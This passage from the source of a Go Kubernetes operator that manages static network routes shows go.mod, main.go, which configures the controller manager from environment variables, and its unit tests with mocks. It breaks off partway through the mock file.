129 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/wornbugle/staticroute-operator 2 | 3 | go 1.23.0 4 | 5 | require ( 6 | github.com/go-logr/logr v1.4.2 7 | github.com/google/gnostic-models v0.6.9 8 | github.com/vishvananda/netlink v1.3.0 9 | golang.org/x/sys v0.32.0 10 | k8s.io/api v0.32.3 11 | k8s.io/apimachinery v0.32.3 12 | k8s.io/client-go v0.32.3 13 | k8s.io/utils v0.0.0-20250321185631-1f6e0b77f77e 14 | sigs.k8s.io/controller-runtime v0.20.4 15 | ) 16 | 17 | require ( 18 | github.com/beorn7/perks v1.0.1 // indirect 19 | github.com/cespare/xxhash/v2 v2.3.0 // indirect 20 | github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc // indirect 21 | github.com/emicklei/go-restful/v3 v3.12.2 // indirect 22 | github.com/evanphx/json-patch v5.9.11+incompatible // indirect 23 | github.com/evanphx/json-patch/v5 v5.9.11 // indirect 24 | github.com/fsnotify/fsnotify v1.9.0 // indirect 25 | github.com/fxamacker/cbor/v2 v2.8.0 // indirect 26 | github.com/go-logr/zapr v1.3.0 // indirect 27 | github.com/go-openapi/jsonpointer v0.21.1 // indirect 28 | github.com/go-openapi/jsonreference v0.21.0 // indirect 29 | github.com/go-openapi/swag v0.23.1 // indirect 30 | github.com/gogo/protobuf v1.3.2 // indirect 31 | github.com/golang/protobuf v1.5.4 // indirect 32 | github.com/google/btree v1.1.3 // indirect 33 | github.com/google/go-cmp v0.7.0 // indirect 34 | github.com/google/gofuzz v1.2.0 // indirect 35 | github.com/google/uuid v1.6.0 // indirect 36 | github.com/josharian/intern v1.0.0 // indirect 37 | github.com/json-iterator/go v1.1.12 // indirect 38 | github.com/mailru/easyjson v0.9.0 // indirect 39 | github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect 40 | github.com/modern-go/reflect2 v1.0.2 // indirect 41 | github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 // indirect 42 | github.com/pkg/errors v0.9.1 // indirect 43 | github.com/prometheus/client_golang v1.22.0 // indirect 44 | github.com/prometheus/client_model v0.6.2 // indirect 45 | github.com/prometheus/common v0.63.0 // indirect 46 | github.com/prometheus/procfs v0.16.0 // indirect 47 | github.com/spf13/pflag v1.0.6 // indirect 48 | github.com/vishvananda/netns v0.0.5 // indirect 49 | github.com/x448/float16 v0.8.4 // indirect 50 | go.uber.org/multierr v1.11.0 // indirect 51 | go.uber.org/zap v1.27.0 // indirect 52 | golang.org/x/net v0.39.0 // indirect 53 | golang.org/x/oauth2 v0.29.0 // indirect 54 | golang.org/x/sync v0.13.0 // indirect 55 | golang.org/x/term v0.31.0 // indirect 56 | golang.org/x/text v0.24.0 // indirect 57 | golang.org/x/time v0.11.0 // indirect 58 | golang.org/x/tools v0.32.0 // indirect 59 | gomodules.xyz/jsonpatch/v2 v2.5.0 // indirect 60 | google.golang.org/protobuf v1.36.6 // indirect 61 | gopkg.in/evanphx/json-patch.v4 v4.12.0 // indirect 62 | gopkg.in/inf.v0 v0.9.1 // indirect 63 | gopkg.in/yaml.v3 v3.0.1 // indirect 64 | k8s.io/apiextensions-apiserver v0.32.3 // indirect 65 | k8s.io/klog/v2 v2.130.1 // indirect 66 | k8s.io/kube-openapi v0.0.0-20250318190949-c8a335a9a2ff // indirect 67 | sigs.k8s.io/json v0.0.0-20241014173422-cfa47c3a1cc8 // indirect 68 | sigs.k8s.io/randfill v1.0.0 // indirect 69 | sigs.k8s.io/structured-merge-diff/v4 v4.7.0 // indirect 70 | sigs.k8s.io/yaml v1.4.0 // indirect 71 | ) 72 | -------------------------------------------------------------------------------- /hack/boilerplate.go.txt: -------------------------------------------------------------------------------- 1 | // 2 | // Copyright 2022 IBM Corporation 3 | // 4 | // Licensed under the Apache License, Version 2.0 (the "License"); 5 | // you may not use this file except in compliance with the License. 6 | // You may obtain a copy of the License at 7 | // 8 | // http://www.apache.org/licenses/LICENSE-2.0 9 | // 10 | // Unless required by applicable law or agreed to in writing, software 11 | // distributed under the License is distributed on an "AS IS" BASIS, 12 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | // See the License for the specific language governing permissions and 14 | // limitations under the License. 15 | // -------------------------------------------------------------------------------- /main.go: -------------------------------------------------------------------------------- 1 | // 2 | // Copyright 2021, 2024 IBM Corporation 3 | // 4 | // Licensed under the Apache License, Version 2.0 (the "License"); 5 | // you may not use this file except in compliance with the License. 6 | // You may obtain a copy of the License at 7 | // 8 | // http://www.apache.org/licenses/LICENSE-2.0 9 | // 10 | // Unless required by applicable law or agreed to in writing, software 11 | // distributed under the License is distributed on an "AS IS" BASIS, 12 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | // See the License for the specific language governing permissions and 14 | // limitations under the License. 15 | // 16 | 17 | package main 18 | 19 | import ( 20 | "context" 21 | "flag" 22 | "fmt" 23 | "net" 24 | "os" 25 | "runtime" 26 | "strconv" 27 | "strings" 28 | 29 | // Import all Kubernetes client auth plugins (e.g. Azure, GCP, OIDC, etc.) 30 | 31 | kRuntime "k8s.io/apimachinery/pkg/runtime" 32 | "k8s.io/client-go/discovery" 33 | "k8s.io/client-go/kubernetes" 34 | clientgoscheme "k8s.io/client-go/kubernetes/scheme" 35 | _ "k8s.io/client-go/plugin/pkg/client/auth" 36 | "k8s.io/client-go/rest" 37 | "k8s.io/utils/ptr" 38 | 39 | "github.com/wornbugle/staticroute-operator/controllers/node" 40 | "github.com/wornbugle/staticroute-operator/controllers/staticroute" 41 | "github.com/wornbugle/staticroute-operator/pkg/routemanager" 42 | "github.com/wornbugle/staticroute-operator/pkg/types" 43 | "github.com/wornbugle/staticroute-operator/version" 44 | "github.com/vishvananda/netlink" 45 | 46 | staticroutev1 "github.com/wornbugle/staticroute-operator/api/v1" 47 | utilruntime "k8s.io/apimachinery/pkg/util/runtime" 48 | "sigs.k8s.io/controller-runtime/pkg/client/apiutil" 49 | clientConfig "sigs.k8s.io/controller-runtime/pkg/client/config" 50 | "sigs.k8s.io/controller-runtime/pkg/config" 51 | logf "sigs.k8s.io/controller-runtime/pkg/log" 52 | "sigs.k8s.io/controller-runtime/pkg/log/zap" 53 | "sigs.k8s.io/controller-runtime/pkg/manager" 54 | "sigs.k8s.io/controller-runtime/pkg/manager/signals" 55 | metricsserver "sigs.k8s.io/controller-runtime/pkg/metrics/server" 56 | ) 57 | 58 | // Change below variables to serve metrics on different host or port. 59 | var ( 60 | defaultRouteTable = 254 61 | defaultFallbackIP = net.IP{10, 0, 0, 1} 62 | ) 63 | var log = logf.Log.WithName("cmd") 64 | 65 | var scheme = kRuntime.NewScheme() 66 | 67 | func init() { 68 | utilruntime.Must(clientgoscheme.AddToScheme(scheme)) 69 | utilruntime.Must(staticroutev1.AddToScheme(scheme)) 70 | //+kubebuilder:scaffold:scheme 71 | } 72 | 73 | func printVersion() { 74 | log.Info(fmt.Sprintf("Operator Version: %s", version.Version)) 75 | log.Info(fmt.Sprintf("Go Version: %s", runtime.Version())) 76 | log.Info(fmt.Sprintf("Go OS/Arch: %s/%s", runtime.GOOS, runtime.GOARCH)) 77 | } 78 | 79 | func main() { 80 | defer func() { 81 | if r := recover(); r != nil { 82 | log.Error(fmt.Errorf("%v", r), "") 83 | os.Exit(1) 84 | } 85 | }() 86 | 87 | opts := zap.Options{} 88 | opts.BindFlags(flag.CommandLine) 89 | flag.Parse() 90 | logger := zap.New(zap.UseFlagOptions(&opts)) 91 | 92 | // Use a zap logr.Logger implementation. If none of the zap 93 | // flags are configured (or if the zap flag set is not being 94 | // used), this defaults to a production zap params.logger. 95 | // 96 | // The logger instantiated here can be changed to any logger 97 | // implementing the logr.Logger interface. This logger will 98 | // be propagated through the whole operator, generating 99 | // uniform and structured logs. 100 | logf.SetLogger(logger) 101 | 102 | printVersion() 103 | 104 | mainImpl(mainImplParams{ 105 | logger: log, 106 | getEnv: os.Getenv, 107 | osEnv: os.Environ, 108 | getConfig: clientConfig.GetConfig, 109 | newManager: manager.New, 110 | addToScheme: staticroutev1.AddToScheme, 111 | newKubernetesConfig: func(config *rest.Config) (discoverable, error) { 112 | clientSet, err := kubernetes.NewForConfig(config) 113 | return clientSet, err 114 | }, 115 | newRouterManager: routemanager.New, 116 | addStaticRouteController: staticroute.Add, 117 | addNodeController: node.Add, 118 | getGw: func(ip net.IP) (net.IP, error) { 119 | route, err := netlink.RouteGet(ip) 120 | if err != nil { 121 | return nil, err 122 | } 123 | return route[0].Gw, nil 124 | }, 125 | setupSignalHandler: func() context.Context { 126 | return signals.SetupSignalHandler() 127 | }, 128 | }) 129 | } 130 | 131 | type mainImplParams struct { 132 | logger types.Logger 133 | getEnv func(string) string 134 | osEnv func() []string 135 | getConfig func() (*rest.Config, error) 136 | newManager func(*rest.Config, manager.Options) (manager.Manager, error) 137 | addToScheme func(s *kRuntime.Scheme) error 138 | newKubernetesConfig func(*rest.Config) (discoverable, error) 139 | newRouterManager func() routemanager.RouteManager 140 | addStaticRouteController func(manager.Manager, staticroute.ManagerOptions) error 141 | addNodeController func(manager.Manager) error 142 | getGw func(net.IP) (net.IP, error) 143 | setupSignalHandler func() context.Context 144 | } 145 | 146 | type discoverable interface { 147 | Discovery() discovery.DiscoveryInterface 148 | } 149 | 150 | func mainImpl(params mainImplParams) { 151 | // Get a config to talk to the apiserver 152 | cfg, err := params.getConfig() 153 | if err != nil { 154 | panic(err) 155 | } 156 | 157 | // Create a new Cmd to provide shared dependencies and start components 158 | mgr, err := params.newManager(cfg, manager.Options{ 159 | MapperProvider: apiutil.NewDynamicRESTMapper, 160 | Metrics: metricsserver.Options{ 161 | BindAddress: "0", 162 | }, 163 | Controller: config.Controller{ 164 | SkipNameValidation: ptr.To(true), 165 | }, 166 | }) 167 | if err != nil { 168 | panic(err) 169 | } 170 | 171 | params.logger.Info("Registering Components.") 172 | 173 | // Setup Scheme for all resources 174 | if err := params.addToScheme(mgr.GetScheme()); err != nil { 175 | panic(err) 176 | } 177 | 178 | hostname := params.getEnv("NODE_HOSTNAME") 179 | if hostname == "" { 180 | panic("Missing environment variable: NODE_HOSTNAME") 181 | } 182 | 183 | params.logger.Info(fmt.Sprintf("Node Hostname: %s", hostname)) 184 | params.logger.Info("Registering Components.") 185 | 186 | clientset, err := params.newKubernetesConfig(cfg) 187 | if err != nil { 188 | panic(err) 189 | } 190 | 191 | resources, err := clientset.Discovery().ServerResourcesForGroupVersion("static-route.ibm.com/v1") 192 | if err != nil { 193 | panic(err) 194 | } 195 | 196 | table := defaultRouteTable 197 | targetTableEnv := params.getEnv("TARGET_TABLE") 198 | if len(targetTableEnv) != 0 { 199 | table = parseTargetTable(targetTableEnv) 200 | } 201 | params.logger.Info("Table selected", "value", table) 202 | 203 | fallbackIP := defaultFallbackIP 204 | fallbackIPEnv := params.getEnv("FALLBACK_IP_FOR_GW_SELECTION") 205 | if len(fallbackIPEnv) != 0 { 206 | fallbackIP = net.ParseIP(fallbackIPEnv) 207 | if fallbackIP == nil || strings.Contains(fallbackIPEnv, ":") { 208 | panic("Environment variable parse error: FALLBACK_IP_FOR_GW_SELECTION.") 209 | } 210 | } 211 | params.logger.Info("Fallback IP for gateway selection:", "value", fallbackIP) 212 | 213 | protectedSubnets := collectProtectedSubnets(params.osEnv()) 214 | 215 | crdFound := false 216 | for _, resource := range resources.APIResources { 217 | if resource.Kind != "StaticRoute" { 218 | continue 219 | } 220 | 221 | // Create RouteManager 222 | routeManager := params.newRouterManager() 223 | stopChan := make(chan struct{}) 224 | go func() { 225 | panic(routeManager.Run(stopChan)) 226 | }() 227 | 228 | // Start static route controller 229 | if err := params.addStaticRouteController(mgr, staticroute.ManagerOptions{ 230 | Hostname: hostname, 231 | Table: table, 232 | ProtectedSubnets: protectedSubnets, 233 | FallbackIPForGwSelection: fallbackIP, 234 | RouteManager: routeManager, 235 | GetGw: params.getGw, 236 | }); err != nil { 237 | panic(err) 238 | } 239 | crdFound = true 240 | break 241 | } 242 | if !crdFound { 243 | params.logger.Info("CRD not found: staticroutes.static-route.ibm.com") 244 | panic(err) 245 | } 246 | 247 | // Start node controller 248 | if err := params.addNodeController(mgr); err != nil { 249 | panic(err) 250 | } 251 | 252 | params.logger.Info("Starting the Cmd.") 253 | // Start the Cmd 254 | 255 | if err := mgr.Start(params.setupSignalHandler()); err != nil { 256 | params.logger.Error(err, "Manager exited non-zero") 257 | panic(err) 258 | } 259 | } 260 | 261 | func parseTargetTable(targetTableEnv string) int { 262 | if customTable, err := strconv.Atoi(targetTableEnv); err != nil { 263 | panic(fmt.Sprintf("Unable to parse custom table 'TARGET_TABLE=%s' %s", targetTableEnv, err.Error())) 264 | } else if customTable < 0 || customTable > 254 { 265 | panic(fmt.Sprintf("Target table must be between 0 and 254 'TARGET_TABLE=%s'", targetTableEnv)) 266 | } else { 267 | return customTable 268 | } 269 | } 270 | 271 | func collectProtectedSubnets(envVars []string) []*net.IPNet { 272 | protectedSubnets := []*net.IPNet{} 273 | for _, e := range envVars { 274 | if v := strings.SplitN(e, "=", 2); strings.Contains(v[0], "PROTECTED_SUBNET_") { 275 | for _, subnet := range strings.Split(v[1], ",") { 276 | _, subnetNet, err := net.ParseCIDR(strings.Trim(subnet, " ")) 277 | if err != nil { 278 | panic(err) 279 | } 280 | protectedSubnets = append(protectedSubnets, subnetNet) 281 | } 282 | } 283 | } 284 | return protectedSubnets 285 | } 286 | -------------------------------------------------------------------------------- /main_test.go: -------------------------------------------------------------------------------- 1 | // 2 | // Copyright 2021, 2024 IBM Corporation 3 | // 4 | // Licensed under the Apache License, Version 2.0 (the "License"); 5 | // you may not use this file except in compliance with the License. 6 | // You may obtain a copy of the License at 7 | // 8 | // http://www.apache.org/licenses/LICENSE-2.0 9 | // 10 | // Unless required by applicable law or agreed to in writing, software 11 | // distributed under the License is distributed on an "AS IS" BASIS, 12 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | // See the License for the specific language governing permissions and 14 | // limitations under the License. 15 | // 16 | 17 | package main 18 | 19 | import ( 20 | "context" 21 | "fmt" 22 | "net" 23 | "runtime/debug" 24 | "testing" 25 | 26 | goruntime "runtime" 27 | 28 | "github.com/wornbugle/staticroute-operator/controllers/staticroute" 29 | "github.com/wornbugle/staticroute-operator/pkg/routemanager" 30 | metav1 "k8s.io/apimachinery/pkg/apis/meta/v1" 31 | "k8s.io/apimachinery/pkg/runtime" 32 | "k8s.io/client-go/rest" 33 | "sigs.k8s.io/controller-runtime/pkg/manager" 34 | ) 35 | 36 | func TestDefaultRouteTable(t *testing.T) { 37 | if defaultRouteTable < 0 || defaultRouteTable > 254 { 38 | t.Errorf("defaultRouteTable is not between 0 and 254: %d", defaultRouteTable) 39 | } 40 | } 41 | 42 | func TestMainImpl(t *testing.T) { 43 | defer catchError(t)() 44 | params, callbacks := getContextForHappyFlow() 45 | 46 | mainImpl(*params) 47 | 48 | expected := mockCallbacks{ 49 | getConfigCalled: true, 50 | newManagerCalled: true, 51 | addToSchemeCalled: true, 52 | newKubernetesConfigCalled: true, 53 | newRouterManagerCalled: true, 54 | addStaticRouteControllerCalled: true, 55 | addNodeControllerCalled: true, 56 | routerGetCalled: true, 57 | setupSignalHandlerCalled: true, 58 | } 59 | 60 | if expected != *callbacks { 61 | t.Errorf("Not the right dependencies were called: expected: %v actial: %v", expected, callbacks) 62 | } 63 | } 64 | 65 | func TestMainImplTargetTableOk(t *testing.T) { 66 | var actualTable int 67 | defer catchError(t)() 68 | params, _ := getContextForHappyFlow() 69 | params.getEnv = getEnvMock("", "hostname", "42", "", "") 70 | params.addStaticRouteController = func(mgr manager.Manager, options staticroute.ManagerOptions) error { 71 | actualTable = options.Table 72 | return nil 73 | } 74 | 75 | mainImpl(*params) 76 | 77 | if actualTable != 42 { 78 | t.Errorf("Target table not match 42 != %d", actualTable) 79 | } 80 | } 81 | 82 | func TestMainImplProtectedSubnetsOk(t *testing.T) { 83 | var actualSubnets []*net.IPNet 84 | defer catchError(t)() 85 | params, _ := getContextForHappyFlow() 86 | params.osEnv = osEnvMock([]string{ 87 | "METRICS_NS=", 88 | "NODE_HOSTNAME=", 89 | "PROTECTED_SUBNET_CALICO=10.0.0.0/8,20.0.0.0/8", 90 | "PROTECTED_SUBNET_HOST=192.168.0.0/24", 91 | "TARGET_TABLE=", 92 | }) 93 | params.addStaticRouteController = func(mgr manager.Manager, options staticroute.ManagerOptions) error { 94 | actualSubnets = options.ProtectedSubnets 95 | return nil 96 | } 97 | 98 | mainImpl(*params) 99 | 100 | expectedSubnets := []*net.IPNet{ 101 | &net.IPNet{IP: net.IP{10, 0, 0, 0}, Mask: net.IPv4Mask(0xff, 0, 0, 0)}, 102 | &net.IPNet{IP: net.IP{20, 0, 0, 0}, Mask: net.IPv4Mask(0xff, 0, 0, 0)}, 103 | &net.IPNet{IP: net.IP{192, 168, 0, 0}, Mask: net.IPv4Mask(0xff, 0xff, 0xff, 0)}, 104 | } 105 | if fmt.Sprintf("%v", expectedSubnets) != fmt.Sprintf("%v", actualSubnets) { 106 | t.Errorf("Protected subnets are not match %v != %v", expectedSubnets, actualSubnets) 107 | } 108 | } 109 | 110 | func TestMainImplFallbackIPOk(t *testing.T) { 111 | var actualFallbackIP net.IP 112 | expectedFallbackIP := net.IP{192, 168, 1, 1} 113 | defer catchError(t)() 114 | params, _ := getContextForHappyFlow() 115 | params.getEnv = getEnvMock("", "hostname", "42", "", expectedFallbackIP.String()) 116 | params.addStaticRouteController = func(mgr manager.Manager, options staticroute.ManagerOptions) error { 117 | actualFallbackIP = options.FallbackIPForGwSelection 118 | return nil 119 | } 120 | 121 | mainImpl(*params) 122 | 123 | if !expectedFallbackIP.Equal(actualFallbackIP) { 124 | t.Errorf("Invalid fallback IP detected %s != %s", expectedFallbackIP.String(), actualFallbackIP.String()) 125 | } 126 | } 127 | 128 | func TestMainImplGetConfigFails(t *testing.T) { 129 | err := new(goruntime.PanicNilError) 130 | defer validateRecovery(t, err)() 131 | params, _ := getContextForHappyFlow() 132 | params.getConfig = func() (*rest.Config, error) { 133 | return nil, err 134 | } 135 | 136 | mainImpl(*params) 137 | 138 | t.Error("Error didn't appear") 139 | } 140 | 141 | func TestMainImplNewManagerFails(t *testing.T) { 142 | err := new(goruntime.PanicNilError) 143 | defer validateRecovery(t, err)() 144 | params, _ := getContextForHappyFlow() 145 | params.newManager = func(*rest.Config, manager.Options) (manager.Manager, error) { 146 | return mockManager{}, err 147 | } 148 | 149 | mainImpl(*params) 150 | 151 | t.Error("Error didn't appear") 152 | } 153 | 154 | func TestMainImplAddToSchemeFails(t *testing.T) { 155 | err := new(goruntime.PanicNilError) 156 | defer validateRecovery(t, err)() 157 | params, _ := getContextForHappyFlow() 158 | params.addToScheme = func(s *runtime.Scheme) error { 159 | return err 160 | } 161 | 162 | mainImpl(*params) 163 | 164 | t.Error("Error didn't appear") 165 | } 166 | 167 | func TestMainImplHostnameMissing(t *testing.T) { 168 | defer validateRecovery(t, "Missing environment variable: NODE_HOSTNAME")() 169 | params, _ := getContextForHappyFlow() 170 | params.getEnv = getEnvMock("", "", "", "", "") 171 | 172 | mainImpl(*params) 173 | 174 | t.Error("Error didn't appear") 175 | } 176 | 177 | func TestMainImplTargetTableInvalid(t *testing.T) { 178 | defer validateRecovery(t, "Unable to parse custom table 'TARGET_TABLE=invalid-table' strconv.Atoi: parsing \"invalid-table\": invalid syntax")() 179 | params, _ := getContextForHappyFlow() 180 | params.getEnv = getEnvMock("", "hostname", "invalid-table", "", "") 181 | 182 | mainImpl(*params) 183 | 184 | t.Error("Error didn't appear") 185 | } 186 | 187 | func TestMainImplTargetTableFewer(t *testing.T) { 188 | defer validateRecovery(t, "Target table must be between 0 and 254 'TARGET_TABLE=-1'")() 189 | params, _ := getContextForHappyFlow() 190 | params.getEnv = getEnvMock("", "hostname", "-1", "", "") 191 | 192 | mainImpl(*params) 193 | 194 | t.Error("Error didn't appear") 195 | } 196 | 197 | func TestMainImplTargetTableGreater(t *testing.T) { 198 | defer validateRecovery(t, "Target table must be between 0 and 254 'TARGET_TABLE=255'")() 199 | params, _ := getContextForHappyFlow() 200 | params.getEnv = getEnvMock("", "hostname", "255", "", "") 201 | 202 | mainImpl(*params) 203 | 204 | t.Error("Error didn't appear") 205 | } 206 | 207 | func TestMainImplProtectedSubnetsInvalid(t *testing.T) { 208 | defer validateRecovery(t, "invalid CIDR address: 987.654.321.012")() 209 | params, _ := getContextForHappyFlow() 210 | params.osEnv = osEnvMock([]string{ 211 | "PROTECTED_SUBNET_MYNET=987.654.321.012", 212 | }) 213 | 214 | mainImpl(*params) 215 | 216 | t.Error("Error didn't appear") 217 | } 218 | 219 | func TestMainImplFallbackIPInvalid(t *testing.T) { 220 | defer validateRecovery(t, "Environment variable parse error: FALLBACK_IP_FOR_GW_SELECTION.")() 221 | params, _ := getContextForHappyFlow() 222 | params.getEnv = getEnvMock("", "hostname", "", "", "invalid-ip") 223 | 224 | mainImpl(*params) 225 | 226 | t.Error("Error didn't appear") 227 | } 228 | 229 | func TestMainImplFallbackIPv6Provided(t *testing.T) { 230 | defer validateRecovery(t, "Environment variable parse error: FALLBACK_IP_FOR_GW_SELECTION.")() 231 | params, _ := getContextForHappyFlow() 232 | params.getEnv = getEnvMock("", "hostname", "", "", "1:2:3:4:5::6") 233 | 234 | mainImpl(*params) 235 | 236 | t.Error("Error didn't appear") 237 | } 238 | 239 | func TestMainImplNewKubernetesConfigFails(t *testing.T) { 240 | err := new(goruntime.PanicNilError) 241 | defer validateRecovery(t, err)() 242 | params, _ := getContextForHappyFlow() 243 | params.newKubernetesConfig = func(c *rest.Config) (discoverable, error) { 244 | return mockDiscoverable{}, err 245 | } 246 | 247 | mainImpl(*params) 248 | 249 | t.Error("Error didn't appear") 250 | } 251 | 252 | func TestMainImplServerResourcesForGroupVersionFails(t *testing.T) { 253 | err := new(goruntime.PanicNilError) 254 | defer validateRecovery(t, err)() 255 | params, _ := getContextForHappyFlow() 256 | params.newKubernetesConfig = func(c *rest.Config) (discoverable, error) { 257 | return mockDiscoverable{serverResourcesForGroupVersionErr: err}, nil 258 | } 259 | 260 | mainImpl(*params) 261 | 262 | t.Error("Error didn't appear") 263 | } 264 | 265 | func TestMainImplCrdNorFound(t *testing.T) { 266 | err := new(goruntime.PanicNilError) 267 | defer validateRecovery(t, err)() 268 | params, _ := getContextForHappyFlow() 269 | params.newKubernetesConfig = func(c *rest.Config) (discoverable, error) { 270 | return mockDiscoverable{apiResourceList: &metav1.APIResourceList{}}, nil 271 | } 272 | 273 | mainImpl(*params) 274 | 275 | t.Error("Error didn't appear") 276 | } 277 | 278 | func TestMainImplAddStaticRouteControllerFails(t *testing.T) { 279 | err := new(goruntime.PanicNilError) 280 | defer validateRecovery(t, err)() 281 | params, _ := getContextForHappyFlow() 282 | params.addStaticRouteController = func(manager.Manager, staticroute.ManagerOptions) error { 283 | return err 284 | } 285 | 286 | mainImpl(*params) 287 | 288 | t.Error("Error didn't appear") 289 | } 290 | 291 | func TestMainImplAddNodeControllerFails(t *testing.T) { 292 | err := new(goruntime.PanicNilError) 293 | defer validateRecovery(t, err)() 294 | params, _ := getContextForHappyFlow() 295 | params.addNodeController = func(manager.Manager) error { 296 | return err 297 | } 298 | 299 | mainImpl(*params) 300 | 301 | t.Error("Error didn't appear") 302 | } 303 | 304 | func TestMainImplManagerStartFails(t *testing.T) { 305 | err := new(goruntime.PanicNilError) 306 | defer validateRecovery(t, err)() 307 | params, _ := getContextForHappyFlow() 308 | params.newManager = func(*rest.Config, manager.Options) (manager.Manager, error) { 309 | return mockManager{startErr: err}, nil 310 | } 311 | 312 | mainImpl(*params) 313 | 314 | t.Error("Error didn't appear") 315 | } 316 | 317 | func getContextForHappyFlow() (*mainImplParams, *mockCallbacks) { 318 | callbacks := mockCallbacks{} 319 | return &mainImplParams{ 320 | logger: mockLogger{}, 321 | getEnv: getEnvMock("", "hostname", "", "", ""), 322 | osEnv: osEnvMock([]string{}), 323 | getConfig: func() (*rest.Config, error) { 324 | callbacks.getConfigCalled = true 325 | return nil, nil 326 | }, 327 | newManager: func(*rest.Config, manager.Options) (manager.Manager, error) { 328 | callbacks.newManagerCalled = true 329 | return mockManager{}, nil 330 | }, 331 | addToScheme: func(s *runtime.Scheme) error { 332 | callbacks.addToSchemeCalled = true 333 | return nil 334 | }, 335 | newKubernetesConfig: func(c *rest.Config) (discoverable, error) { 336 | callbacks.newKubernetesConfigCalled = true 337 | return mockDiscoverable{}, nil 338 | }, 339 | newRouterManager: func() routemanager.RouteManager { 340 | callbacks.newRouterManagerCalled = true 341 | return mockRouteManager{} 342 | }, 343 | addStaticRouteController: func(mgr manager.Manager, options staticroute.ManagerOptions) error { 344 | //nolint:errcheck 345 | options.GetGw(net.IP{10, 0, 0, 1}) 346 | callbacks.addStaticRouteControllerCalled = true 347 | return nil 348 | }, 349 | addNodeController: func(manager.Manager) error { 350 | callbacks.addNodeControllerCalled = true 351 | return nil 352 | }, 353 | getGw: func(ip net.IP) (net.IP, error) { 354 | callbacks.routerGetCalled = true 355 | return net.IP{10, 0, 0, 1}, nil 356 | }, 357 | setupSignalHandler: func() context.Context { 358 | callbacks.setupSignalHandlerCalled = true 359 | return context.TODO() 360 | }, 361 | }, &callbacks 362 | } 363 | 364 | func catchError(t *testing.T) func() { 365 | return func() { 366 | if r := recover(); r != nil { 367 | t.Errorf("Fatal error: %v", r) 368 | debug.PrintStack() 369 | } 370 | } 371 | } 372 | 373 | func validateRecovery(t *testing.T, expected interface{}) func() { 374 | return func() { 375 | if r := recover(); r != nil { 376 | if fmt.Sprintf("%v", r) != fmt.Sprintf("%v", expected) { 377 | t.Errorf("Error not match '%v' != '%v'", r, expected) 378 | } 379 | } 380 | } 381 | } 382 | -------------------------------------------------------------------------------- /mock_test.go: -------------------------------------------------------------------------------- 1 | // 2 | // Copyright 2021 IBM Corporation 3 | // 4 | // Licensed under the Apache License, Version 2.0 (the "License"); 5 | // you may not use this file except in compliance with the License. 6 | // You may obtain a copy of the License at 7 | // 8 | // http://www.apache.org/licenses/LICENSE-2.0 9 | // 10 | // Unless required by applicable law or agreed to in writing, software 11 | // distributed under the License is distributed on an "AS IS" BASIS, 12 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | // See the License for the specific language governing permissions and 14 | // limitations under the License. 15 | // 16 | 17 | package main 18 | 19 | import ( 20 | "context" 21 | "net/http" 22 | 23 | staticroutev1 "github.com/wornbugle/staticroute-operator/api/v1" 24 | "github.com/wornbugle/staticroute-operator/pkg/routemanager" 25 | "github.com/go-logr/logr" 26 | openapi_v2 "github.com/google/gnostic-models/openapiv2" 27 | corev1 "k8s.io/api/core/v1" 28 | "k8s.io/apimachinery/pkg/api/meta" 29 | metav1 "k8s.io/apimachinery/pkg/apis/meta/v1" 30 | v1 "k8s.io/apimachinery/pkg/apis/meta/v1" 31 | "k8s.io/apimachinery/pkg/runtime" 32 | "k8s.io/apimachinery/pkg/version" 33 | "k8s.io/client-go/discovery" 34 | openapiclient "k8s.io/client-go/openapi" 35 | "k8s.io/client-go/rest" 36 | restclient "k8s.io/client-go/rest" 37 | "k8s.io/client-go/tools/record" 38 | "sigs.k8s.io/controller-runtime/pkg/cache" 39 | "sigs.k8s.io/controller-runtime/pkg/client" 40 | "sigs.k8s.io/controller-runtime/pkg/client/fake" 41 | ctrlcfg "sigs.k8s.io/controller-runtime/pkg/config" 42 | "sigs.k8s.io/controller-runtime/pkg/healthz" 43 | "sigs.k8s.io/controller-runtime/pkg/manager" 44 | "sigs.k8s.io/controller-runtime/pkg/webhook" 45 | ) 46 | 47 | func getEnvMock(metricsNS, nodeHostName, targetTable, protectedSubnets, fallbackIP string) func(string) string { 48 | return func(key string) string { 49 | switch key { 50 | case "METRICS_NS": 51 | return metricsNS 52 | case "NODE_HOSTNAME": 53 | return nodeHostName 54 | case "TARGET_TABLE": 55 | return targetTable 56 | case "PROTECTED_SUBNETS": 57 | return protectedSubnets 58 | case "FALLBACK_IP_FOR_GW_SELECTION": 59 | return fallbackIP 60 | default: 61 | return "" 62 | } 63 | } 64 | } 65 | 66 | func osEnvMock(envvars []string) func() []string { 67 | return func() []string { 68 | return envvars 69 | } 70 | } 71 | 72 | func newFakeClient() client.Client { 73 | s := runtime.NewScheme() 74 | route := &staticroutev1.StaticRoute{} 75 | s.AddKnownTypes(staticroutev1.GroupVersion, route) 76 | node := &corev1.Node{ 77 | TypeMeta: v1.TypeMeta{ 78 | Kind: "node", 79 | }, 80 | ObjectMeta: v1.ObjectMeta{ 81 | Name: "hostname", 82 | }, 83 | } 84 | s.AddKnownTypes(corev1.SchemeGroupVersion, node) 85 | //return fake.NewFakeClientWithScheme(s, []runtime.Object{node, route}...) 86 | return fake.NewClientBuilder().WithScheme(s).WithRuntimeObjects([]runtime.Object{node, route}...).Build() 87 | } 88 | 89 | type mockLogger struct{} 90 | 91 | func (l mockLogger) Info(string, ...interface{}) {} 92 | 93 | func (l mockLogger) Error(error, string, ...interface{}) {} 94 | 95 | type mockCallbacks struct { 96 | getConfigCalled bool 97 | newManagerCalled bool 98 | addToSchemeCalled bool 99 | newKubernetesConfigCalled bool 100 | newRouterManagerCalled bool 101 | addStaticRouteControllerCalled bool 102 | addNodeControllerCalled bool 103 | routerGetCalled bool 104 | setupSignalHandlerCalled bool 105 | } 106 | 107 | type mockManager struct { 108 | client client.Client 109 | startErr error 110 | } 111 | 112 | func (m mockManager) Add(manager.Runnable) error { 113 | return nil 114 | } 115 | 116 | func (m mockManager) Elected() <-chan struct{} { 117 | return nil 118 | } 119 | 120 | func (m 